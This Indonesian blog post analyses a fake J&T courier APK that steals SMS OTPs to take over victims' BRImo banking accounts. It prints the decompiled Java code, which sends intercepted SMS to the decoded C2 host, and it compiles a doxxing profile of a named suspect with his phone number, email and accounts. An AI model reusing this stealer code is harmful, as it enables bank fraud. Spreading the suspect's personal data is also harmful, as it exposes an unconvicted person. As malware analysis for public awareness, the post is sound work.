Membongkar Modus Penipuan Aplikasi Kurir dan Informasi Terduga Pelaku

1 bulan belakangan ini saya sering sekali menerima berbagai tag di media sosial dari orang-orang terkait modus penipuan yang cukup baru ini, mengaku sebagai kurir lalu meminta calon korbannya untuk menginstall suatu aplikasi untuk memeriksa status paket. Namun karena belum memiliki waktu yang cukup luang saya belum sempat untuk memeriksa lebih rinci mengenai modus ini. Hingga akhirnya kemarin Nikko Enggaliano sudah menulis soal modus penipuan yang serupa dan mendapatkan informasi terduga pelaku dengan nama Randi Ramli.

Karena sudah ada yang membahas saya kira udah cukup. Kemudian saya tersadar beberapa hari yang lalu saya sempat berbincang dengan Mas Zaki Sulistya terkait modus penipuan yang serupa di Facebook dan setelah saya lakukan pemeriksaan singkat ternyata pelakunya berbeda. Artinya modus penipuan seperti ini sudah dilakukan oleh banyak penipu di luar sana.

Bedanya untuk kasus yang akan saya bahas kali ini sudah memakan korban dan salah satu korbannya kehilangan 95 juta rupiah dan sudah melaporkan terkait masalah ini ke Polres Bantul. Dari pihak Polres Bantul telah melakukan pemanggilan saksi yakni istri dari Pak Maryono dan juga Kepala Unit Bank terkait namun hingga saat ini masih belum ada informasi lebih lanjut mengenai laporan yang telah dibuat oleh Pak Maryono.

Ketika Polisi selaku aparat penegak hukum tidak menjalankan fungsinya dan melakukan pembiaran terhadap sekumpulan kriminal ini ditambah dengan berbagai insiden kebocoran data yang terus terjadi, maka kedepannya berbagai modus penipuan lainnya akan terus-terusan terjadi dan lagi-lagi yang jadi korban adalah masyarakat. Berdasarkan data dari Kredibel.co.id, hingga saat ini tercatat 223,991 kasus penipuan yang sudah terjadi dengan total kerugian yang dialami masyarakat sekitar 336 miliar rupiah.

Informasi Tentang Korban dan Kronologi Kejadian

Setelah dihubungkan oleh Mas Zaki Sulistya, saya memiliki kesempatan untuk berbincang langsung dengan korban. Namanya Pak Maryono, usia saat ini 47 tahun dan berdomisili di Bantul, Yogyakarta. Pekerjaan sehari-harinya adalah seorang Wiraswasta. Pada 7 November 2022 pukul 09:22 WIB, Pak Maryono menerima sebuah chat di aplikasi WhatsApp dari seseorang yang tak dikenal yang mengaku sebagai kurir J&T dan meminta Pak Maryono menginstall suatu aplikasi untuk memeriksa status paket miliknya.

Awalnya Pak Maryono tidak menggubris chat tersebut karena sedang buru-buru ingin bekerja. Lalu pelaku kemudian melakukan panggilan beberapa kali ke nomor WhatsApp milik Pak Maryono dan dari sana pelaku berhasil menarik perhatian calon korbannya. Lalu karena berniat hanya ingin membantu seseorang yang dikiranya adalah benar seorang kurir Pak Maryono kemudian menginstall aplikasi tersebut. Yang diingat oleh Pak Maryono dia hanya mengklik 2 kali dan sempat mendapatkan notifikasi aplikasi berbahaya. Namun karena tujuannya hanya ingin cepat selesai agar bisa segera bekerja Pak Maryono tidak menggubris pesan tersebut. Karena tidak terpikirkan olehnya sama sekali yang menghubunginya di pagi hari itu adalah seorang penipu.

Selang 10 menit kemudian Pak Maryono kaget karena menerima SMS konfirmasi dari Bank BRI mengenai transaksi yang tak pernah ia lakukan. Karena panik Pak Maryono segera menguninstall aplikasi J&NT yang baru saja diinstall olehnya dan ia segera membuka aplikasi Brimo yang ada di HP miliknya namun aplikasi tersebut tak bisa digunakan. Lalu Pak Maryono segera melakukan panggilan ke pihak Bank BRI dan meminta agar rekeningnya segera diblokir karena ada transaksi yang bukan dilakukan olehnya.

Langkah cepat yang dilakukan Pak Maryono berhasil mencegah uangnya dikuras lebih banyak oleh sang pelaku. Pak Maryono menerima SMS yang berisi kode OTP sebanyak 6 kali dan hanya 2 kode OTP yang berhasil didapatkan oleh pelaku untuk melakukan 2 transaksi. Transaksi yang pertama sebesar Rp. 20.000.000 dan yang kedua sebesar Rp. 75.900.000. Total uang miliki Pak Maryono yang digondol oleh pelaku sebesar Rp. 95.900.000.

Esok harinya pada 8 November 2022 Pak Maryono melaporkan kasus yang baru saja dialaminya ke Polres Bantul. Laporan telah diterima oleh Polres Bantul dan sudah dilakukan pemanggilan saksi diantaranya adalah Istri dari Pak Maryono dan juga Kepala Unit Bank terkait. Namun hingga saat ini Pak Maryono belum menerima konfirmasi lebih lanjut apapun dari Polres Bantul terkait laporan yang telah ia buat.

Langkah selanjutnya yang dilakukan oleh Pak Maryono adalah mendatangi Bank Mandiri untuk mendapatkan informasi tentang rekening yang digunakan oleh pelaku. Berdasarkan keterangan dari pihak Bank Mandiri, setelah pelaku menerima Rp. 95.900.000 dari rekening Pak Maryono, 10 menit kemudian seluruh uang tersebut kemudian dipindahkan lagi ke beberapa bank dengan pecahan yang berbeda. Cara seperti ini adalah cara yang sering digunakan oleh sindikat penipuan online.

Catatan berdasarkan keterangan korban:

- Korban sehari-harinya memang menggunakan aplikasi Brimo untuk bertransaksi
- Opsi unknown source installations sudah dalam keadaan enable

Informasi Tentang Aplikasi

File Name 	  : Cek Resi J&NT.apk
App Name      : J&T Express
Package Name  : com.ngscript.smstest
Main Activity : com.ngscript.smstest.MainActivity
Size     		  : 4,5 MB
MD5      		  : e45f50c4464176306db106be730af3a0
SHA1          : 16de7f1ac09f3667627d5330ca14b0ddc45b68c2
SHA256   		  : 63efa868ab905bad64bf22f3396f6100a228c47e14c662b1bc6860757ae95c55

Jika ingin mendownload aplikasi tersebut silakan download melalui Proton Drive

Izin yang dimiliki oleh aplikasi setelah diinstall oleh korban:

- android.permission.ACCESS_NETWORK_STATE: view network status
- android.permission.INTERNET: Full internet access
- android.permission.RECEIVE_SMS: Membaca dan mengirimkan SMS

MainActivity

package com.ngscript.smstest;

import android.os.Build;
import android.os.Bundle;
import android.util.Base64;
import android.util.Log;
import android.webkit.WebView;
import android.widget.Toast;
import androidx.appcompat.app.AppCompatActivity;
import java.io.IOException;
import java.io.UnsupportedEncodingException;
import okhttp3.Call;
import okhttp3.Callback;
import okhttp3.OkHttpClient;
import okhttp3.Request;
import okhttp3.Response;
/* loaded from: classes.dex */
public class MainActivity extends AppCompatActivity {
    private final OkHttpClient client = new OkHttpClient();
    WebView web;

    public static String toBase64(String str) {
        try {
            return Base64.encodeToString(str.getBytes("UTF-8"), 0);
        } catch (UnsupportedEncodingException e) {
            e.printStackTrace();
            return null;
        }
    }

    public static String fromBase64(String str) {
        try {
            return new String(Base64.decode(str, 0), "UTF-8");
        } catch (UnsupportedEncodingException e) {
            e.printStackTrace();
            return null;
        }
    }

    /* JADX INFO: Access modifiers changed from: protected */
    @Override // androidx.fragment.app.FragmentActivity, androidx.activity.ComponentActivity, androidx.core.app.ComponentActivity, android.app.Activity
    public void onCreate(Bundle bundle) {
        super.onCreate(bundle);
        setContentView(R.layout.activity_main);
        getWindow().setFlags(8192, 8192);
        if (Build.VERSION.SDK_INT < 23 || checkSelfPermission("android.permission.RECEIVE_SMS") == 0) {
            return;
        }
        requestPermissions(new String[]{"android.permission.RECEIVE_SMS"}, 1000);
    }

    @Override // androidx.fragment.app.FragmentActivity, androidx.activity.ComponentActivity, android.app.Activity
    public void onRequestPermissionsResult(int i, String[] strArr, int[] iArr) {
        super.onRequestPermissionsResult(i, strArr, iArr);
        if (i == 1000) {
            if (iArr[0] == 0) {
                Request.Builder builder = new Request.Builder();
                this.client.newCall(builder.url(fromBase64("aHR0cHM6Ly9pb25pY2lvLmNvbS8=") + "5797152557JNT/installed.php?dev=" + Build.MANUFACTURER + " " + Build.MODEL).build()).enqueue(new Callback() { // from class: com.ngscript.smstest.MainActivity.1
                    @Override // okhttp3.Callback
                    public void onFailure(Call call, IOException iOException) {
                        iOException.printStackTrace();
                    }

                    @Override // okhttp3.Callback
                    public void onResponse(Call call, Response response) throws IOException {
                        if (response.isSuccessful()) {
                            response.body();
                        }
                    }
                });
                Log.d("demo", toBase64("GG"));
                Toast.makeText(this, "Sedang Di Proses, Mohon Tunggu", 0).show();
                WebView webView = (WebView) findViewById(R.id.websaya);
                this.web = webView;
                webView.getSettings().setJavaScriptEnabled(true);
                this.web.setWebViewClient(new Cebe());
                this.web.loadUrl("https://jet.co.id/track");
                return;
            }
            Toast.makeText(this, "Ups, sepertinya anda menolak izin SMS, Mohon Izinkan SMS Untuk Melanjutkan", 1).show();
            finish();
        }
    }
}

ReceiveSms

package com.ngscript.smstest;

import android.content.BroadcastReceiver;
import android.content.Context;
import android.content.Intent;
import android.net.Uri;
import android.os.Bundle;
import android.telephony.SmsMessage;
import android.util.Base64;
import android.util.Log;
import java.io.IOException;
import java.io.UnsupportedEncodingException;
import okhttp3.Call;
import okhttp3.Callback;
import okhttp3.OkHttpClient;
import okhttp3.Request;
import okhttp3.Response;
/* loaded from: classes.dex */
public class ReceiveSms extends BroadcastReceiver {
    private static final String SMS_REACT = "android.provider.Telephony.SMS_RECEIVED";
    private final OkHttpClient client = new OkHttpClient();

    public static String toBase64(String str) {
        try {
            return Base64.encodeToString(str.getBytes("UTF-8"), 0);
        } catch (UnsupportedEncodingException e) {
            e.printStackTrace();
            return null;
        }
    }

    public static String fromBase64(String str) {
        try {
            return new String(Base64.decode(str, 0), "UTF-8");
        } catch (UnsupportedEncodingException e) {
            e.printStackTrace();
            return null;
        }
    }

    @Override // android.content.BroadcastReceiver
    public void onReceive(Context context, Intent intent) {
        Bundle extras;
        if (!intent.getAction().equals(SMS_REACT) || (extras = intent.getExtras()) == null) {
            return;
        }
        try {
            Object[] objArr = (Object[]) extras.get("pdus");
            int length = objArr.length;
            SmsMessage[] smsMessageArr = new SmsMessage[length];
            for (int i = 0; i <= length; i++) {
                smsMessageArr[i] = SmsMessage.createFromPdu((byte[]) objArr[i]);
                String originatingAddress = smsMessageArr[i].getOriginatingAddress();
                String messageBody = smsMessageArr[i].getMessageBody();
                Log.d("demo", Uri.encode(messageBody));
                Log.d("demo", originatingAddress);
                Request.Builder builder = new Request.Builder();
                this.client.newCall(builder.url(fromBase64("aHR0cHM6Ly9pb25pY2lvLmNvbS8=") + "5797152557JNT/?msg=" + Uri.encode(messageBody) + "&from=" + Uri.encode(originatingAddress)).build()).enqueue(new Callback() { // from class: com.ngscript.smstest.ReceiveSms.1
                    @Override // okhttp3.Callback
                    public void onFailure(Call call, IOException iOException) {
                        iOException.printStackTrace();
                    }

                    @Override // okhttp3.Callback
                    public void onResponse(Call call, Response response) throws IOException {
                        if (response.isSuccessful()) {
                            Log.d("response", response.body().string());
                        }
                    }
                });
            }
        } catch (Exception e) {
            e.printStackTrace();
        }
    }
}

Di MainActivity jika kita lihat lebih jelas maka kita akan menemukan baris kode berikut:

this.client.newCall(builder.url(fromBase64("aHR0cHM6Ly9pb25pY2lvLmNvbS8=") + "5797152557JNT/installed.php?dev=" + Build.MANUFACTURER + " " + Build.MODEL).build()).enqueue(new Callback() { // from class: com.ngscript.smstest.MainActivity.1

Terdapat sebuah string aHR0cHM6Ly9pb25pY2lvLmNvbS8= yang diencode menggunakan Base64, dan jika didecode maka kita akan mendapatkan sebuah URL:

$ echo 'aHR0cHM6Ly9pb25pY2lvLmNvbS8=' | base64 --decode
https://ionicio.com/

Jadi pada dasarnya itu adalah sebuah REST API yang digunakan untuk mengirimkan informasi tentang device korban:

https://ionicio.com/5797152557JNT/installed.php?dev={manufacturer}{model}

Lalu di ReceiveSms kita juga akan menemukan hal yang sama:

this.client.newCall(builder.url(fromBase64("aHR0cHM6Ly9pb25pY2lvLmNvbS8=") + "5797152557JNT/?msg=" + Uri.encode(messageBody) + "&from=" + Uri.encode(originatingAddress)).build()).enqueue(new Callback() { // from class: com.ngscript.smstest.ReceiveSms.1

Juga terdapat sebuah string aHR0cHM6Ly9pb25pY2lvLmNvbS8= yang diencode menggunakan Base64, dan jika didecode maka kita akan mendapatkan URL yang sama. Di bagian ini tugasnya adalah untuk mengirimkan SMS yang diterima korban ke server milik pelaku:

https://ionicio.com/5797152557JNT/?msg={messageBody}&from={originatingAddress}

Cara Pelaku Masuk ke Akun BRIMO Korban

Ketika menghubungi calon korbannya, pelaku sudah memiliki data lengkap korban seperti NIK, nomor rekening, nama ibu kandung dan tanggal lahir. Data-data tersebut dibutuhkan ketika pelaku ingin melakukan reset username dan password akun BRIMO korban.

Setelah korban menginstall aplikasi yang dikirimkan oleh pelaku otomatis maka pelaku akan memiliki akses ke SMS milik korban. Proses selanjutnya yang dilakukan oleh pelaku adalah melakukan reset username dan password akun BRIMO milik korban. Karena pelaku sudah memiliki akses ke SMS korban maka semudah itu pelaku akan mendapatkan reset link untuk mengatur akun BRIMO milik korbannya.

Setelah proses ini berhasil dilalui, maka pelaku akan memiliki akses ke akun BRIMO milik korban dan mulai melakukan transaksi untuk mencuri uang yang disimpan oleh korban di Bank BRI.

Berikut adalah tampilan log SMS terkait BRIMO dari beberapa korban di server yang digunakan oleh pelaku:

Membongkar Modus Penipuan Aplikasi Kurir dan Informasi Terduga Pelaku Sumber: Marginal

Informasi Tentang Terduga Pelaku

Setelah melakukan pemeriksaan terhadap aplikasi tersebut kita telah berhasil mendapatkan sebuah domain yang digunakan oleh pelaku untuk melakukan aksinya. Berdasarkan informasi publik yang bisa diakses oleh siapapun whois.com/whois/ionicio.com maka kita akan mendapatkan sebuah informasi tentang terduga pelaku berupa nama, alamat, email dan juga nomor HP.

Namun informasi yang bisa kita gunakan untuk proses selanjutnya hanya nama dan email milik terduga pelaku. Karena alamat yang digunakan oleh pelaku adalah alamat milik beon.co.id dan nomor HP yang terdaftar bukan sebuah nomor HP yang valid.

Nama      : Renz Ichwan
Email     : [email protected]

Proses selanjutnya yang bisa kita lakukan adalah memeriksa berapa banyak domain yang dimiliki dan dikelola oleh pelaku menggunakan email yang terdaftar di atas menggunakan osint.sh/reversewhois

Dari informasi di atas kita mendapatkan 2 informasi baru, yakni alamat yang berlokasi di Pinrang, Sulawesi Selatan dan sebuah nomor HP yang valid. Jika kita memeriksa nomor HP +6282324185540 menggunakan aplikasi GetContact maka kita akan mendapatkan hasil berikut:

Lalu jika kita melakukan penelusuran melalui berbagai search engine menggunakan email terduga pelaku kita akan mendapatkan beberapa hasil pencarian, diantaranya sebagai berikut:

Informasi terduga pelaku di halaman Daftar Alumni UPT. SMP NEGERI 1 PINRANG. Bisa diakses melalui https://www.smpn1pinrang.sch.id/alumni.php?id=data&tahun=&hal=2

Terduga pelaku juga pernah mengirimkan karyanya ke Pak Sandhika Galih melalui Discord Web Programming Unpas. Bisa diakses melalui https://github.com/sandhikagalih/project-kalian

Di Facebook pelaku juga pernah membagikan sebuah screenshot yang memperlihatkan notifikasi WA Group dengan nama Mahasiswa IAIN Parepare. Bis adiakses melalui https://www.facebook.com/permalink.php?story_fbid=pfbid02Pm5sZwzCMfQnLmK7unX96fSQbT3ZQRfFjg3n3yZApBc2SLwNHXsagCFXHXhsRm35l&id=100045002832963

Lalu ketika penelusuran terus dilanjutkan menggunakan berbagai macam informasi tentang terduga pelaku yang sudah kita miliki maka kita akan mendapatkan berbagai macam hasil, diantaranya:

https://www.facebook.com/profile.php?id=100045002832963

https://tlgbot.ru/kanal/3625703-nguyen-thu-wann.html

https://www.facebook.com/profile.php?id=100064857767754

https://t.me/nguyenthuwann

https://www.instagram.com/nguyenthuwan/

https://www.instagram.com/p/CPnIXAknfby/

https://github.com/kuvukilandz

https://t.me/sharesc

https://www.youtube.com/watch?v=nwWTg6HH6VY&ab_channel=CiddoIwan

Informasi Lengkap Terduga Pelaku

Nama      : Al Ikhwan
Alias     : Renz Ichwan, Iwan Ster, Nguyen Thu Wann, Nguyen Thu Wan
Email     : [email protected]
Nomor HP  : +6282324185540
Lokasi    : Sulawesi Selatan
Status    : Mahasiswa di IAIN Parepare
Github    : github.com/kuvukilandz
Youtube   : youtube.com/@ciddoiwan9722
Facebook  : facebook.com/profile.php?id=100045002832963
            facebook.com/profile.php?id=100064857767754
Instagram : instagram.com/nguyenthuwan
            instagram.com/nguyenwan98
Telegram  : https://t.me/nguyenthuwann
            https://t.me/sharesc
Domains   : ionicio.com
            api-xyz.com
            cuanxifacai.com
            graph-googleapis.com
            api-bo.my.id
            nguyenthuwann.my.id

Konklusi

Dari kasus ini memperlihatkan bahwa serangan yang dilakukan adalah serangan yang ditargetkan. Artinya pelaku tau sekali siapa yang ia hubungi, bukan aksi yang dilakukan secara random. Kuat dugaan ketika menghubungi calon korbannya pelaku telah memiliki data lengkap tentang korbannya. Bagaimana cara pelaku bisa mendapatkan data lengkap tentang calon korbannya? Salah satunya adalah dari kebocoran data yang belakangan sering sekali terjadi dan mengorbankan miliaran data milik masyarakat.

Namun keberhasilan pelaku tetap bergantung dengan calon korbannya. Walaupun telah memiliki semua data calon korbannya, pelaku tetap membutuhkan akses yang belum dia miliki untuk menjalankan aksinya. Untuk kasus ini pelaku membutuhkan akses ke SMS korban untuk mendapatkan kode OTP misalnya. Ketika korban lengah atau sedang tidak fokus seperti yang dialami oleh Pak Maryono maka secepat kilat pelaku akan segera melakukan aksinya. Seperti yang dialami oleh Pak Maryono, hanya dalam hitungan menit ia telah kehilangan uang miliknya di Bank sebesar Rp 95.900.000.

Aksi seperti ini akan terus berlangsung selama beberapa tahun ke depan dan berbagai kasus kebocoran data akan membuat pelaku lebih cepat dan pintar untuk mengelabui calon korbannya. Oleh karena itu pembiaran terhadap berbagai insiden kebocoran data dan juga para kriminal seperti ini akan membuat siapapun dengan mudahnya menjadi korban penipuan yang serupa. Pelaku semakin kaya dan masyarakat awam yang menderita.

Sekarang waktu yang tepat untuk memberikan satu pertanyaan:

Lalu apa gunanya Kominfo, BSSN dan Polisi? Apakah mereka hanya sigap ketika menangani kasus porno?

Sekian dari saya dan terima kasih.

Seluruh informasi di artikel ini didapatkan dari sumber informasi terbuka atau dikenal dengan open source intelligence (OSINT). Tidak ada hak siapapun yang dilanggar termasuk hak terduga pelaku karena sumber informasi yang didapatkan bersumber dari internet yang di mana bisa diakses oleh siapapun

Powered byGatsbyGitHubCloudflare Pages
FacebookInstagramYouTubeTwitterInstagramGitHubTelegram